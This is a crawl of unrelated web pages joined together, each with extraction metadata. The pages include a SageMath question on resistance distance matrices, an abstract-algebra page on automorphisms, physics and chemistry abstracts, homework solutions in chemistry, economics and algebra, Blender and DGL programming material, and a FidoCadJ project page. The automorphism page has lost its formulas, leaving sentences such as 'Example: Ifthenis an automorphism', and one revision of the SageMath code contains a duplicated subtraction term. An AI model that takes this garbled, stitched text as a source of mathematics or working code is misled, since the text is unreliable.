-- Johann Bernoulli | 2019-11-21 17:38:08 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.818985104560852, "perplexity": 1129.5581137523648}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-47/segments/1573496670921.20/warc/CC-MAIN-20191121153204-20191121181204-00217.warc.gz"} |
https://ask.sagemath.org/questions/38291/revisions/ | # Revision history [back]
### How to obtain the resistance distance matrix of a graph?
I tried to compute resistance distance matrix of a graph g by first evaluating the Moore-Penrose inverse of the Laplacian matrix, but the result is not accurate, the entries are slightly different. I tried with the following algorithm.
L=g.laplacian_matrix() from scipy import linalg M=matrix(linalg.pinv(L)) R=matrix(QQ, g.order()) for i in range(g.order()): for j in range(g.order()): if i!=j: R[i,j]=M[i,i]+M[j,j] -M[i,j]-M[j,i]
2 None vdelecroix 6314 ●16 ●68 ●133 http://www.labri.fr/pe...
### How to obtain the resistance distance matrix of a graph?
I tried to compute resistance distance matrix of a graph g by first evaluating the Moore-Penrose inverse of the Laplacian matrix, but the result is not accurate, the entries are slightly different. I tried with the following algorithm.
L=g.laplacian_matrix()
from scipy import linalg
M=matrix(linalg.pinv(L))
R=matrix(QQ, g.order())
for i in range(g.order()):
for j in range(g.order()):
if i!=j:
R[i,j]=M[i,i]+M[j,j] -M[i,j]-M[j,i]-M[i,j]-M[j,i] | 2020-02-22 08:14:43 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9267852902412415, "perplexity": 1173.763894774988}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-10/segments/1581875145654.0/warc/CC-MAIN-20200222054424-20200222084424-00435.warc.gz"} |
https://astarmathsandphysics.com/university-maths-notes/abstract-algebra-and-group-theory/1684-automorphisms.html?tmpl=component&print=1&page= | ## Automorphisms
An automorphism is an isomorphism from a group G onto itself.
Example: Ifthenis an automorphism of the group of complex numbers under addition. We test the requirements one by one.
1. With
2. Ifthenandsois one to one.
3.is onto since ifthenand
4.
The mappingsandare similarly automorphisms. All these automorphisms are length preserving.
A very important automorphism is the inner automorphism,whereis some element ofThis is called the automorphism ofinduced by
The inner automorphism ofinduced by(rotation by) is shown below.
The set of inner automorphisms is a group, as is the set of automorphisms. | 2017-12-15 04:36:20 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9861227869987488, "perplexity": 2819.1318326868795}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-51/segments/1512948563629.48/warc/CC-MAIN-20171215040629-20171215060629-00380.warc.gz"} |
http://www.j.sinap.ac.cn/nst/EN/abstract/abstract2038.shtml | # Nuclear Science and Techniques
《核技术》(英文版) ISSN 1001-8042 CN 31-1559/TL 2019 Impact factor 1.556
Nuclear Science and Techniques ›› 2016, Vol. 27 ›› Issue (2): 34
• NUCLEAR CHEMISTRY,RADIOCHEMISTRY,RADIOPHARMACEUTICALS AND NUCLEAR MEDICINE •
### Synthesis, radiolabeling and biological evaluation of butene amine oxime containing nitrotriazole as a tumor hypoxia marker
Qiang Zhang, Tai-Wei Chu
1. Beijing National Laboratory for Molecular Sciences, Radiochemistry and Radiation Chemistry Key Laboratory of Fundamental Science, College of Chemistry and Molecular Engineering, Peking University, Beijing 100871, China
• Contact: Tai-Wei Chu E-mail:twchu@pku.edu.cn
PDF ShareIt Export Citation
Qiang Zhang, Tai-Wei Chu. Synthesis, radiolabeling and biological evaluation of butene amine oxime containing nitrotriazole as a tumor hypoxia marker.Nuclear Science and Techniques, 2016, 27(2): 34
Abstract:
99mTc-BnAO, as a nonnitroaromatic hypoxia marker, is the subject of intensive research in recent years. In this study, a butene amine oxime–nitrotriazole (BnAO–NT) was synthesized and radiolabeled with 99mTc in high yield. Cellular uptakes of 99mTc-BnAO–NT and 99mTc-BnAO were tested using murine sarcoma S180 and hepatoma H22 cell lines. The highest hypoxic cellular uptake of 99mTc-BnAO–NT was 27.11 ± 0.73 and 14.85 ± 0.83 % for the S180 and H22 cell lines, respectively, whereas the normoxic cellular uptake of the complex was about 4–8 % for both cell lines. For 99mTc-BnAO, the highest hypoxic cellular uptake was 30.79 ± 0.44 and 9.66 ± 1.20 % for the S180 and H22 cell lines, respectively, while the normoxic cellular uptake was about 5 % for both cell lines. Both 99mTc-BnAO–NT and 99mTc-BnAO complexes showed hypoxic/normoxic differentials in the two cell lines, but the results were more significant for the S180 cell line. The in vitro results suggested that S180 may be better than H22 cell line in hypoxic biological evaluation of BnAO complexes. The biodistribution study was tested using a S180 tumor model. The complex 99mTc-BnAO–NT showed a selective enrichment in tumor tissues: At 4 h, the tumor-to-muscle ratio was 3.79 ± 0.98 and the tumor-to-blood ratio was 2.31 ± 0.34. Compared with the results of 99mTc-BnAO, the latter was at the same level. In vitro and in vivo studies demonstrated that 99mTc-BnAO–NT could be a hypoxia-sensitive radiotracer for monitoring hypoxic regions in a sarcoma S180 tumor. | 2020-08-04 05:21:36 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2667994201183319, "perplexity": 14663.38973633516}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-34/segments/1596439735860.28/warc/CC-MAIN-20200804043709-20200804073709-00447.warc.gz"} |
http://cpr-mathph.blogspot.com/2013/02/10051500-matej-pavsic.html | ## Space Inversion of Spinors Revisited: A Possible Explanation of Chiral Behavior in Weak Interactions [PDF]
Matej Pavsic
We investigate a model in which spinors are considered as being embedded within the Clifford algebra that operates on them. In Minkowski space $M_{1,3}$, we have four independent 4-component spinors, each living in a different minimal left ideal of $Cl(1,3)$. We show that under space inversion, a spinor of one left ideal transforms into a spinor of another left ideal. This brings novel insight to the role of chirality in weak interactions. We demonstrate the latter role by considering an action for a generalized spinor field $\psi^{\alpha i}$ that has not only a spinor index $\alpha$ but also an extra index $i$ running over four ideals. The covariant derivative of $\psi^{\alpha i}$ contains the generalized spin connection, the extra components of which are interpreted as the SU(2) gauge fields of weak interactions and their generalization. We thus arrive at a system that is left-right symmetric due to the presence of a "parallel sector", postulated a long time ago, that contains mirror particles coupled to mirror SU(2) gauge fields.
View original: http://arxiv.org/abs/1005.1500 | 2020-07-13 11:11:08 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7997949719429016, "perplexity": 515.3807380651857}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-29/segments/1593657143365.88/warc/CC-MAIN-20200713100145-20200713130145-00237.warc.gz"} |
https://nips.cc/Conferences/2020/ScheduleMultitrack?event=18194 | `
Timezone: »
Poster
Why are Adaptive Methods Good for Attention Models?
Jingzhao Zhang · Sai Praneeth Karimireddy · Andreas Veit · Seungyeon Kim · Sashank Reddi · Sanjiv Kumar · Suvrit Sra
Wed Dec 09 09:00 AM -- 11:00 AM (PST) @ Poster Session 3 #761
#### Author Information
##### Sai Praneeth Karimireddy (EPFL)
I am a second year PhD student working in convex and non-convex optimization with Prof. Martin Jaggi. My focus is on designing faster and more scalable optimization algorithms for machine learning. Some of my preliminary results and problems I am currently working on- 1. Robust accelerated algorithms - Nesterov acceleration modified to be robust to noise. 2. Faster algorithms which take second order information about the function into account. 3. A $O(1/t^2)$ rate *affine invariant* algorithm for constrained optimization. 4. Frank-Wolfe algorithm for non-smooth functions using 'noisy-smoothing' | 2022-07-03 18:47:20 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6304346323013306, "perplexity": 7581.581907267173}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656104248623.69/warc/CC-MAIN-20220703164826-20220703194826-00504.warc.gz"} |
https://blender.stackexchange.com/questions/42477/modifier-add-does-nothing | # modifier_add does nothing
I have a set of meshes loaded to the scene.
When I execute following script I wrote, the modifiers collection of the obj always stays empty. Where is my error?
import bpy
for obj in bpy.data.objects:
print(obj)
bpy.context.scene.objects.active = obj
print(bpy.context.scene.objects.active)
bpy.ops.object.modifier_apply(modifier='DECIMATE')
print(len(obj.modifiers))
Note that I check if the active object was set, and the first two prints always print exactly the same. But the print(len(...)) always prints a 0 and in the UI the modifier does not show up.
All solutions for similar problems I found only suggest to set the active object which I did.
• You're using the wrong operator on line 6 (bpy.ops.object.modifier_apply). You should be using, as you point out in the title of this question, bpy.ops.object.modifier_add. Dec 3 '15 at 9:41
• I'll be damned... I've read the script may times and always missed that. Thanks, now it works. Dec 3 '15 at 9:42
• Alternatively use mod = obj.modifiers.new("Decimod", 'DECIMATE') and set modifier props mod.ratio = 0.8 Dec 3 '15 at 11:12 | 2021-09-25 22:31:06 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2935890555381775, "perplexity": 3037.188717914356}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780057775.50/warc/CC-MAIN-20210925202717-20210925232717-00495.warc.gz"} |
http://mathhelpforum.com/algebra/159301-perfect-square-root-quadratic.html | # Thread: Perfect square root of a quadratic
1. ## Perfect square root of a quadratic
Is it possible to find analytically the function that forms the perfect square root of a quadratic in all cases?
For example with the quadratic x^2 + 10x + 25 you can find by factoring the perfect root x + 5. But how do you find the square root when a quadratic isn't expressed in the form of the completed square?
With the quadratic x^2 + 10x + 20 it seems the simplest form you can get the root into is sqrt((x+5)^2 -5)).
Is that the best that can be done? Is there some other way to express this root?
2. I really cannot make heads or tails out of what you are saying. Either a quadratic is a perfect square or it is not. You cannot change a quadratic that is not a perfect square to a different "form" in which it is a perfect square. And I have no idea why you would prefer $\sqrt{(x+ 5)^2- 5}$ to simply $\sqrt{x^2+ 10x+ 20}$. They both are "the function that forms the perfect square root of a quadratic".
3. Originally Posted by HallsofIvy
I really cannot make heads or tails out of what you are saying. Either a quadratic is a perfect square or it is not. You cannot change a quadratic that is not a perfect square to a different "form" in which it is a perfect square. And I have no idea why you would prefer $\sqrt{(x+ 5)^2- 5}$ to simply $\sqrt{x^2+ 10x+ 20}$. They both are "the function that forms the perfect square root of a quadratic".
I see. I ask such a strange question because I have a calculation in which a square rooted quadratic results for each step and x is unknown at the time of the calculation. It seems I will have to store the complete series eg. $\sqrt{5.123x^2 + 10.235x + 20.8} + \sqrt{2x^2 + 4.234x + 13.35} + ...$ whereas I was mistakenly thinking I would be able to simplify terms together. Thanks for your reply. | 2016-09-29 22:06:55 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 5, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.625904381275177, "perplexity": 172.65622331165423}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-40/segments/1474738661953.95/warc/CC-MAIN-20160924173741-00210-ip-10-143-35-109.ec2.internal.warc.gz"} |
https://www.clutchprep.com/chemistry/practice-problems/99498/the-mass-of-a-sample-of-gas-is-827-mg-its-volume-is-0-270-l-at-a-temperature-of- | # Problem: The mass of a sample of gas is 827 mg. Its volume is 0.270 L at a temperature of 88°C and a pressure of 975 mmHg. Find its molar mass.
###### FREE Expert Solution
Molar mass:
First, we have to calculate the amount of gas in moles using the ideal gas equation.
$\overline{){\mathbf{P}}{\mathbf{V}}{\mathbf{=}}{\mathbf{n}}{\mathbf{R}}{\mathbf{T}}}$
P = pressure, atm
V = volume, L
n = moles, mol
R = gas constant = 0.08206 (L·atm)/(mol·K)
T = temperature, K
Isolate n (number of moles of gas):
$\frac{\mathbf{P}\mathbf{V}}{\mathbf{R}\mathbf{T}}\mathbf{=}\frac{\mathbf{n}\overline{)\mathbf{R}\mathbf{T}}}{\overline{)\mathbf{R}\mathbf{T}}}\phantom{\rule{0ex}{0ex}}\overline{){\mathbf{n}}{\mathbf{=}}\frac{\mathbf{P}\mathbf{V}}{\mathbf{R}\mathbf{T}}}$
Given:
P = 1.2829 atm
V = 0.270 L
T = 88°C + 273.15 = 361.15 K
R = 0.08206 (L·atm)/(mol·K)
Calculate for n:
###### Problem Details
The mass of a sample of gas is 827 mg. Its volume is 0.270 L at a temperature of 88°C and a pressure of 975 mmHg. Find its molar mass. | 2020-07-13 14:41:10 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 2, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6435914039611816, "perplexity": 2512.9274782580273}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-29/segments/1593657145436.64/warc/CC-MAIN-20200713131310-20200713161310-00347.warc.gz"} |
https://www.assignmentexpert.com/homework-answers/economics/microeconomics/question-49285 | 68 393
Assignments Done
98,5%
Successfully Done
In December 2018
# Answer to Question #49285 in Microeconomics for Bradly
Question #49285
1) Suppose that at 100 units of output a monopolist is producing such that marginal revenue is equal to marginal cost. The firm is selling its output at a price of $8 per unit and is incurring average variable costs of$5 per unit and average fixed costs of $4 per unit. On the basis of this information we can conclude that the firm is: operating at maximum profit by producing the 100 units of output operating at a loss that could be reduced by shutting down operating at a profit that could be increased by producing more output operating at a loss that is less than the loss incurred by shutting down 2) Suppose a firm has monopoly power in the production of a particular good. If it finds that revenue and cost conditions are such that at all levels of output the price it can charge in order to sell all of the units is less than the average variable costs then it is in the firms best interest to: close down because its operating losses will exceed its shut-down losses at all levels of output maximize profits by producing where MR = MC close down because its total operating cost will exceed its total revenue minimize losses by producing where MR = MC Expert's answer 1) Suppose that at 100 units of output a monopolist is producing such that marginal revenue is equal to marginal cost. The firm is selling its output at a price of$8 per unit and is incurring average variable costs of $5 per unit and average fixed costs of$4 per unit. On the basis of this information we can conclude that the firm is:
d) operating at a loss that is less than the loss incurred by shutting down
2) Suppose a firm has monopoly power in the production of a particular good. If it finds that revenue and cost conditions are such that at all levels of output the price it can charge in order to sell all of the units is less than the average variable costs then it is in the firm’s best interest to:
a) close down because its operating losses will exceed its shut-down losses at all levels of output
Need a fast expert's response?
Submit order
and get a quick answer at the best price
for any assignment or question with DETAILED EXPLANATIONS! | 2018-12-15 14:59:23 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.1960303783416748, "perplexity": 1286.3718088165851}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-51/segments/1544376826856.91/warc/CC-MAIN-20181215131038-20181215153038-00590.warc.gz"} |
https://socratic.org/questions/how-do-you-solve-using-the-quadratic-formula-x-2-5x-14-0 | # How do you solve using the quadratic formula x^2-5x-14=0?
May 16, 2015
$y = {x}^{2} - 5 x - 14 = 0$
D = d^2 = 25 + 56 = 81 -> d = +-9
x = 5/2 + 9/2 = 14/2 = 7
x = 5/2 - 9/2 = -4/2 = -2
There is another way that is faster. (new AC Method)
Find 2 numbers knowing product (-14) and sum (7). Compose factor pairs of (-14): (-1, 14)(-2, 7). This last sum is 5 = -b. Then the 2 real roots are: -2 and 7 | 2020-09-28 16:22:21 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 1, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7992181181907654, "perplexity": 1173.1823299688165}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-40/segments/1600401601278.97/warc/CC-MAIN-20200928135709-20200928165709-00401.warc.gz"} |
https://cstheory.stackexchange.com/questions/41055/what-is-best-known-space-requrement-for-solving-satisfiability-problem-in-exp-ti | # What is best known space requrement for solving SATISFIABILITY problem in exp time
I searched a lot for finding best space requirement algorithm for SATISFIABILITY problem but I didn't find any thing better than brute force that is in DSPACE(n). is there exists better bound? and what is best known bound.
• If it were solvable in space $o(n)$, itwould be solvable in time $2^{o(n)}$, contradicting the exponential-time hypothesis. – Emil Jeřábek Jun 22 '18 at 13:35
• From the opposite direction, any $\omega(\log n)$ lower bound would imply $\bf{L} \neq \bf{NP}$, which is itself an open problem. A $\log n$ lower bound is trivial. – Yonatan N Jun 22 '18 at 19:05
• @MohsenGhorbani,, when you write $n$, do you mean the number of variables or the number of bits of the input? There is perhaps a small difference here. – usul Jun 24 '18 at 21:39
• @usul n is the length of boolean formula(sat) and not the length of input bits. – Mohsen Ghorbani Jun 25 '18 at 10:47
• @EmilJeřábek I think you can copy your comment to this question's answer. thank you again. – Mohsen Ghorbani Jun 25 '18 at 10:49 | 2021-06-21 22:07:59 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6598958969116211, "perplexity": 542.6788903219756}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623488504838.98/warc/CC-MAIN-20210621212241-20210622002241-00635.warc.gz"} |
https://docs.dgl.ai/en/latest/guide/graph-basic.html | # 1.1 Some Basic Definitions about Graphs (Graphs 101)¶
(中文版)
A graph $$G=(V, E)$$ is a structure used to represent entities and their relations. It consists of two sets – the set of nodes $$V$$ (also called vertices) and the set of edges $$E$$ (also called arcs). An edge $$(u, v) \in E$$ connecting a pair of nodes $$u$$ and $$v$$ indicates that there is a relation between them. The relation can either be undirected, e.g., capturing symmetric relations between nodes, or directed, capturing asymmetric relations. For example, if a graph is used to model the friendships relations of people in a social network, then the edges will be undirected as friendship is mutual; however, if the graph is used to model how people follow each other on Twitter, then the edges are directed. Depending on the edges’ directionality, a graph can be directed or undirected.
Graphs can be weighted or unweighted. In a weighted graph, each edge is associated with a scalar weight. For example, such weights might represent lengths or connectivity strengths.
Graphs can also be either homogeneous or heterogeneous. In a homogeneous graph, all the nodes represent instances of the same type and all the edges represent relations of the same type. For instance, a social network is a graph consisting of people and their connections, representing the same entity type.
In contrast, in a heterogeneous graph, the nodes and edges can be of different types. For instance, the graph encoding a marketplace will have buyer, seller, and product nodes that are connected via wants-to-buy, has-bought, is-customer-of, and is-selling edges. The bipartite graph is a special, commonly-used type of heterogeneous graph, where edges exist between nodes of two different types. For example, in a recommender system, one can use a bipartite graph to represent the interactions between users and items. For working with heterogeneous graphs in DGL, see 1.5 Heterogeneous Graphs.
Multigraphs are graphs that can have multiple (directed) edges between the same pair of nodes, including self loops. For instance, two authors can coauthor a paper in different years, resulting in edges with different features. | 2021-11-27 01:51:12 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7788663506507874, "perplexity": 456.49485921460797}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964358078.2/warc/CC-MAIN-20211127013935-20211127043935-00414.warc.gz"} |
https://zh-tw.osdn.net/projects/freshmeat_fidocadj/ | ## 最後更新: 2014-04-30 20:29
### 專案描述
FidoCadJ is a very easy-to-use editor, with a library of electrical symbols and footprints (through hole and SMD). Drawings can be exported in several graphic formats (PDF, EPS, PGF for LaTeX, SVG, PNG, and JPEG). Although very simple and not relying on any netlist concept, FidoCadJ can be considered a basic electronic design automation program. FidoCadJ uses a file format containing only UTF-8 text, which is very compact and suited for copying and pasting with newsgroups and forum messages. This determined its success, as it is quite versatile for simple mechanical drawings as well as for electronics.
### 評 您的評分
4.7
3 評分次數
